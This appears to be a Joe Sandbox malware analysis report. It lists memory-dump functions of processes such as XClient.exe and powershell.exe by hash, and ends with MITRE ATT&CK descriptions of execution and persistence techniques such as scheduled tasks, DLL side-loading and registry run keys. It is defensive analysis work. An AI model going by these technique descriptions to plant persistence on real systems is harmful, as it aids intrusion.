Instruction Fuzzy Hash: BC5102A0A1E6C54FE796BF7C8869275BFD5DF97215B1800FAE08DC71A3ED18580AC342

Function 00007FFB4A131185 Relevance: .6, Instructions: 580COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1800672407.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffb4a130000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 692aed09258ccef9fa6d7103657b0ab38489f9acd09b73d4b101c13c63872cb7
Instruction ID: d07909ee77c4e1883c277406924d4d34bd6a4f122c4a97d29188bf39b5d43b03
Opcode Fuzzy Hash: 692aed09258ccef9fa6d7103657b0ab38489f9acd09b73d4b101c13c63872cb7
Instruction Fuzzy Hash: CE3191A2D0E6964FEB42BF7CCCA51E97BB1EF46210B1941F7D589CB1D3DD2828058B80

Function 00007FFB4A1311F8 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1800672407.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffb4a130000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 557197203ae410ef6f548b262536e5d1f926d9e5b1f19d53879c5aa29461ac62
Instruction ID: 46e484128a4ec539182d5d345b03cd2b94af64422b6e2de7a6ab52df35248989
Opcode Fuzzy Hash: 557197203ae410ef6f548b262536e5d1f926d9e5b1f19d53879c5aa29461ac62
Instruction Fuzzy Hash: F42191A291EA8A0FEB45AFB8CC655E97FB1FF46200F5441F6D14AD71D2CD2828058B80

Function 00007FFB4A130C3E Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1800672407.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffb4a130000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 616614c55d12475c2e890b4049165b25157836232334825e671d20181aacfc2b
Instruction ID: cff66e865050da580eb3d38ee4e9791b790a428439f3c790e33430bca9e175ee
Opcode Fuzzy Hash: 616614c55d12475c2e890b4049165b25157836232334825e671d20181aacfc2b
Instruction Fuzzy Hash: 40511361A0EAC60FF357AF7888562757FE2EF8721071800FBD889C7193DC18AC428752

Function 00007FFB4A1316C9 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1800672407.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffb4a130000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe6791ed8f61123081fd102720a0b013675b7ef228017c87c3aaf782f1a9cb4e
Instruction ID: 63ab37861b1d6c3b1c66626eb90c2f7e310a7cd017408cd10c64b890d1fb5bf4
Opcode Fuzzy Hash: fe6791ed8f61123081fd102720a0b013675b7ef228017c87c3aaf782f1a9cb4e
Instruction Fuzzy Hash: 645175B1B5960A4FEB98FF78D86D9A97FE6FF45200B9444B9E40ED7292DD389801C700

Function 00007FFB4A130540 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1800672407.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffb4a130000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5137140b66100fd5a5b8215a42dbf04ff76557be9f63b9517864c317c2d63fff
Instruction ID: 73284334393cbd2038c60ba348c4b421282d67356c81caf02a6633cc062a382b
Opcode Fuzzy Hash: 5137140b66100fd5a5b8215a42dbf04ff76557be9f63b9517864c317c2d63fff
Instruction Fuzzy Hash: 4931B161B1D9490FE799BF3C985A379B6C2EF99310F1405BEE44EC32A3DD68AC418384

Function 00007FFB4A130AD1 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1800672407.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffb4a130000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04cd012bda05f72e10cca411b60e851935322f341738e402f9d5123ebe0edfe7
Instruction ID: e395644f27e15ffbc1823f92d047d5877364bc2b12c7a219adc742eb5a8d4674
Opcode Fuzzy Hash: 04cd012bda05f72e10cca411b60e851935322f341738e402f9d5123ebe0edfe7
Instruction Fuzzy Hash: 1E31D1A1B199064FF745BFBC98593BC77D1EF99211F1402BBE40CC3296DD2898018791

Function 00007FFB4A130985 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1800672407.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffb4a130000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cacd2efdfc80c099680830d57b8c1602a3a590e0898498c357ef149a3c644e15
Instruction ID: 721abfc38759e3abc968b800e46cce626ee9d9f8fe3cc7e7da893ecaf7ab2be2
Opcode Fuzzy Hash: cacd2efdfc80c099680830d57b8c1602a3a590e0898498c357ef149a3c644e15
Instruction Fuzzy Hash: A031A4B0A19A0A8FEB45FF78C8656ED77E2FF99300FA444B5D409D7282CE38A841C740

Function 00007FFB4A13083D Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1800672407.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffb4a130000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f16feadf6b7b5e1a631bb0f67158ede8cf1b86a3bdcc899720b85cdf77ecdc1
Instruction ID: 271ab5ec16a5df380cf177f378b5759945215f364212c8577ae9594801e4e32b
Opcode Fuzzy Hash: 1f16feadf6b7b5e1a631bb0f67158ede8cf1b86a3bdcc899720b85cdf77ecdc1
Instruction Fuzzy Hash: 5531E5A1A4964A4FE741FF6CD8A99A87FA2FF85300BE484B6D409C778ACD24A940C741

Function 00007FFB4A132211 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.1800672407.00007FFB4A130000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ffb4a130000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24b213bd2fff2668a15d319d1cb1378b9abb2f74461c3df1a900a048c425009d
Instruction ID: f207bdca558e46098b4e968bf2098e7363cf48c9c120d23d9813ceb1e587c018
Opcode Fuzzy Hash: 24b213bd2fff2668a15d319d1cb1378b9abb2f74461c3df1a900a048c425009d
Instruction Fuzzy Hash: B301F59190C6810FF792BF389C558717FE4DFA2250B1804FBE889CA193DC086945C752

Analysis Process: powershell.exePID: 7984, Parent PID: 7684COMMON

Executed Functions

Function 00007FFB4A1F17D9 Relevance: .8, Instructions: 792COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000033.00000002.1870133656.00007FFB4A1F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A1F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_7ffb4a1f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c81b8ed70c1243fbb86606fa77de4c0416223545e80cbc147456a2977408695e
Instruction ID: db14b6e98e531c32847512b2d6919b1f0c449b57d02b2ed7cf728148e4ab792b
Opcode Fuzzy Hash: c81b8ed70c1243fbb86606fa77de4c0416223545e80cbc147456a2977408695e
Instruction Fuzzy Hash: 012236A2A0EBC94FE396AE7899551B57FE1EF47210B1801FFE08DC7193D9189C06C792

Function 00007FFB4A124DD3 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000033.00000002.1868732091.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_7ffb4a120000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f4622682460f4f4182d85946c92f7429dd419692cb54a846880aff267704dde
Instruction ID: d47c13831adde0affa775907a58d9202ce085985943630998dddaa1f76f50118
Opcode Fuzzy Hash: 8f4622682460f4f4182d85946c92f7429dd419692cb54a846880aff267704dde
Instruction Fuzzy Hash: 5861C671E0DA598FE745EF6CD8556ACBBF1EF4A310F1441AED049D7292CA259802CB81

Function 00007FFB4A123945 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000033.00000002.1868732091.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_7ffb4a120000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: befb5f09fb28491efca7ac731e606f1cd681f8a65fc3f8e08776dee73fb1b2c3
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: F201677115CB0D4FDB44EF0CE451AA5B7E0FB95364F10056DE58AC3691D636E881CB46

Non-executed Functions

Function 00007FFB4A125D80 Relevance: 5.0, Strings: 4, Instructions: 38COMMON

Download Yara Rule

Strings

8f:J, xrefs: 00007FFB4A125DA1
Xf:J, xrefs: 00007FFB4A125DC1
Hf:J, xrefs: 00007FFB4A125DB1
(f:J, xrefs: 00007FFB4A125D91

Memory Dump Source

Source File: 00000033.00000002.1868732091.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_51_2_7ffb4a120000_powershell.jbxd

Similarity

API ID:
String ID: (f:J$8f:J$Hf:J$Xf:J
API String ID: 0-1643799202
Opcode ID: edc11e33b5263ea65393482c3c902e78df0603d9a59f98b86ab38265839d4924
Instruction ID: 52233e2d97a085f33cf40cb96a89e58ad009515e4fa506688242cfc927006295
Opcode Fuzzy Hash: edc11e33b5263ea65393482c3c902e78df0603d9a59f98b86ab38265839d4924
Instruction Fuzzy Hash: F1F054CBA1EAD60BE3950EAC7D9E2A94B52FB4913171A01FBE0CD9209B685DDC0647C1

Analysis Process: SecurityHealthSystray.exePID: 3948, Parent PID: 4084COMMON

Executed Functions

Function 00C54DE0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000036.00000002.1686751352.0000000000BE1000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000036.00000002.1686510941.0000000000BE0000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1705241012.0000000001523000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1705307488.000000000152B000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1705453671.000000000152C000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1705586594.0000000001530000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1705649238.0000000001535000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706029179.0000000001539000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706244411.0000000001549000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706330490.000000000154C000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706449757.0000000001566000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706571351.0000000001567000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706716436.0000000001569000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706924783.000000000157A000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707091359.000000000157E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707170702.000000000157F000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707554882.0000000001595000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707554882.000000000159B000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707554882.00000000015B2000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707554882.00000000015B9000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707554882.00000000015E0000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1708228530.00000000015EB000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1708616446.0000000001608000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1709355693.0000000001609000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_be0000_SecurityHealthSystray.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f534232bf1c6ba2bd4c45eff9a9e7b72a6ee4da9b2d280db604ca2125ba236fe
Instruction ID: d9ef84e58ec4ec15d92926271f64084644b693e1f87133baf5b26b0a30f43d4c
Opcode Fuzzy Hash: f534232bf1c6ba2bd4c45eff9a9e7b72a6ee4da9b2d280db604ca2125ba236fe
Instruction Fuzzy Hash: E431792791CFC482D3218B24B5413AAB364F7A9794F15A715EFC812A1ADB38E2E5DB40

Function 00C51100 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000036.00000002.1686751352.0000000000BE1000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000036.00000002.1686510941.0000000000BE0000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1705241012.0000000001523000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1705307488.000000000152B000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1705453671.000000000152C000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1705586594.0000000001530000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1705649238.0000000001535000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706029179.0000000001539000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706244411.0000000001549000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706330490.000000000154C000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706449757.0000000001566000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706571351.0000000001567000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706716436.0000000001569000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1706924783.000000000157A000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707091359.000000000157E000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707170702.000000000157F000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707554882.0000000001595000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707554882.000000000159B000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707554882.00000000015B2000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707554882.00000000015B9000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1707554882.00000000015E0000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1708228530.00000000015EB000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1708616446.0000000001608000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000036.00000002.1709355693.0000000001609000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_be0000_SecurityHealthSystray.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6226d625974f41b655ebad5d25ed4558e083c2262c14460cf3d0e00d19dfb20c
Instruction ID: c31209bc7ddbffe4271f8111a39143880db0245c3a10df0949632d9cf4825eab
Opcode Fuzzy Hash: 6226d625974f41b655ebad5d25ed4558e083c2262c14460cf3d0e00d19dfb20c
Instruction Fuzzy Hash:

Analysis Process: XClient.exePID: 6540, Parent PID: 4084COMMON

Executed Functions

Function 00007FFB4A122059 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000005B.00000002.1769488072.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_91_2_7ffb4a120000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 754d4afe8c3658d7de39e20f4126e46c3ed5299aac53d837afb253b660c0469a
Instruction ID: 9c67d1bf5cbb22309a82825c35546bb47316ecdbd021d533d5f3d97a62af4951
Opcode Fuzzy Hash: 754d4afe8c3658d7de39e20f4126e46c3ed5299aac53d837afb253b660c0469a
Instruction Fuzzy Hash: E8514591A1E6C54FD396AB3C88682B9BFD5DF87215B1804FAE08DC71A3ED189C06C346

Function 00007FFB4A121185 Relevance: .6, Instructions: 580COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000005B.00000002.1769488072.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_91_2_7ffb4a120000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d08e741f23c3daa7e8e46778f4f4b6a7c67351295630c013dba3acaff6c7daa
Instruction ID: a7021dc12e6a8a6ff64cb7743a6407dc307c490c1b86cb9ab3c9bec39465f943
Opcode Fuzzy Hash: 3d08e741f23c3daa7e8e46778f4f4b6a7c67351295630c013dba3acaff6c7daa
Instruction Fuzzy Hash: 1231A0B3D0E68A4FE742EFBCC8A51E97BB1EF86210B1501F6D485DB193DD2868058B91

Function 00007FFB4A1211F8 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000005B.00000002.1769488072.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_91_2_7ffb4a120000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 685fbb713f900c546fad009c22763421e1577d33522561c020dc228b32af02ee
Instruction ID: 7094ada5aac0a2fc635963eb5998e4d538bc0bad6e779347792b44f7ffd2104c
Opcode Fuzzy Hash: 685fbb713f900c546fad009c22763421e1577d33522561c020dc228b32af02ee
Instruction Fuzzy Hash: A021A2A290DA8A4FE741EFB8CDB50ED7BB1FF46200F5501F6D085E31D2DD2868058781

Function 00007FFB4A120C3E Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000005B.00000002.1769488072.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_91_2_7ffb4a120000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d2ce285f8d252a1675157367a6d4ddcbbc7cbcb0b25c7df7064530494205bc9
Instruction ID: 06a3ecd1e208ff71cffbcb2b3e3371befb01446e8ed350a4eb8bf970e241ee33
Opcode Fuzzy Hash: 4d2ce285f8d252a1675157367a6d4ddcbbc7cbcb0b25c7df7064530494205bc9
Instruction Fuzzy Hash: 98511461A0E6CA0FE357AA7898562757FD2DF8721071900FBD889C7193DC1CAC428752

Function 00007FFB4A1216C9 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000005B.00000002.1769488072.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_91_2_7ffb4a120000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 805c4344bd87f7887e14c8ccdb7fcdb0fafecd15a38e09c2469fa31954ae3f19
Instruction ID: 3f9d59a6e5def9ea693211e99f3bb7e44d5041d28e900aae445d21766a464a1e
Opcode Fuzzy Hash: 805c4344bd87f7887e14c8ccdb7fcdb0fafecd15a38e09c2469fa31954ae3f19
Instruction Fuzzy Hash: 1B51A775A1D64D8FDB98FF7CC9695A97BE2FF46201B9001B5E44ED3292DE389801C701

Function 00007FFB4A120540 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000005B.00000002.1769488072.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_91_2_7ffb4a120000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b2dd0bef0e8b10d4e637ed1df12482808a5db8d9440bd8f3efdbbbe7c391ed
Instruction ID: b2be59dd658b54c72e5a00cef2e0b58a920b3e102bcecb775d783e8247dfd37b
Opcode Fuzzy Hash: b2b2dd0bef0e8b10d4e637ed1df12482808a5db8d9440bd8f3efdbbbe7c391ed
Instruction Fuzzy Hash: AB31B561B1D9490FE789BF3C885A77DB6C2EF99311F1405BAE44EC32A3DD689C418385

Function 00007FFB4A120AD1 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000005B.00000002.1769488072.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_91_2_7ffb4a120000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba4b520a419871787c293fab1fd53828a8acad82a958225bc37aee8e869a7a60
Instruction ID: 806f557dc2a5a91b41530d89226a90d264cb54dd850d1d8810c34559b3613e5d
Opcode Fuzzy Hash: ba4b520a419871787c293fab1fd53828a8acad82a958225bc37aee8e869a7a60
Instruction Fuzzy Hash: E031C2A2B1D9464FF745BBBC98593BC77D2EF99211F1402BBE40CC3292DD289C418792

Function 00007FFB4A120985 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000005B.00000002.1769488072.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_91_2_7ffb4a120000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a37dbae6790d68b5049fd883f89c37faedf1a54f09a719c82bec4214bccb6878
Instruction ID: 5f9d8f6e3d544b837cac46e8a3c8903ecb0985fb128e01252964d9a3f4d88f24
Opcode Fuzzy Hash: a37dbae6790d68b5049fd883f89c37faedf1a54f09a719c82bec4214bccb6878
Instruction Fuzzy Hash: 263191B1A1894E8FEB45FF78C8657AD77A2FF99301F600575D409D3286CE38A8418751

Function 00007FFB4A12083D Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000005B.00000002.1769488072.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_91_2_7ffb4a120000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71c2d3aa07b8285b0d2ee90cd5e88f750115c8d4b39fe82714c9d8fa1ce17d6a
Instruction ID: a1a6790985e75b7aa59efa1170538e61be619d140b3a10f245f09391f88aa917
Opcode Fuzzy Hash: 71c2d3aa07b8285b0d2ee90cd5e88f750115c8d4b39fe82714c9d8fa1ce17d6a
Instruction Fuzzy Hash: 76310865A0D6CE8FD785FF6CC8545B97FA2FF85206BA040B6D44DD378ACE249900C751

Function 00007FFB4A122211 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000005B.00000002.1769488072.00007FFB4A120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4A120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_91_2_7ffb4a120000_XClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a37bc91bcb8a8a00894d53e2d2ab658471873bbbd274150a73be02d3b4571e14
Instruction ID: f05a983c64673d12cf99d4c0033a19f9aad8a9fce3a71e61fc128ff35009c5b1
Opcode Fuzzy Hash: a37bc91bcb8a8a00894d53e2d2ab658471873bbbd274150a73be02d3b4571e14
Instruction Fuzzy Hash: 9501455280C6C10FE752BF3888658757FE8CF92251B1809FAE8C8DA1A3CC09A841C753

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
